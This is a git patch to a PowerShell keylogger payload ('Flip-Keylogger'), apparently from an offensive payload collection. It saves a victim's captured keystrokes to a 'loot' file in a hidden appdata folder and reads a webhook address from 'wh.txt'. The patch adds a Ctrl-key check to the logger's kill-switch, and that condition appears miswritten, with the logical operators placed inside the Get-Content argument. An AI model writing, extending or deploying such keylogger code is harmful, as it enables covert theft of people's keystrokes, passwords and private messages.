From ccea107fcfec8e5a7ed7e0cd92e834808a9a1197 Mon Sep 17 00:00:00 2001
From: I-Am-Jakoby <Michaelryanchitwood@gmail.com>
Date: Sun, 25 Dec 2022 10:51:39 -0600
Subject: [PATCH] Update -logs.ps1

---
 Payloads/Flip-Keylogger/-logs.ps1 | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/Payloads/Flip-Keylogger/-logs.ps1 b/Payloads/Flip-Keylogger/-logs.ps1
index 9d7a900..012b331 100644
--- a/Payloads/Flip-Keylogger/-logs.ps1
+++ b/Payloads/Flip-Keylogger/-logs.ps1
@@ -2,6 +2,11 @@
 # created by  : C0SM0
 # Modified by : Jakoby
 
+Add-Type -AssemblyName WindowsBase
+Add-Type -AssemblyName PresentationCore
+$Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl')
+$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl')
+
 $Path="$env:appdata\-locker\$env:UserName-loot.txt"
 
 $dc = (Get-Content "$env:appdata\-locker\wh.txt" -TotalCount 1)
@@ -79,7 +84,7 @@ while ($true) {
             while ((Get-Date -Date $t) -gt (Get-Date))
             {
               # sleeps
-	      if((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt")){exit}
+	      if((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt" -or $Rctrl -and $Lctrl)){exit}
               (Get-Date -Date $t) - (Get-Date) | Start-Sleep
             }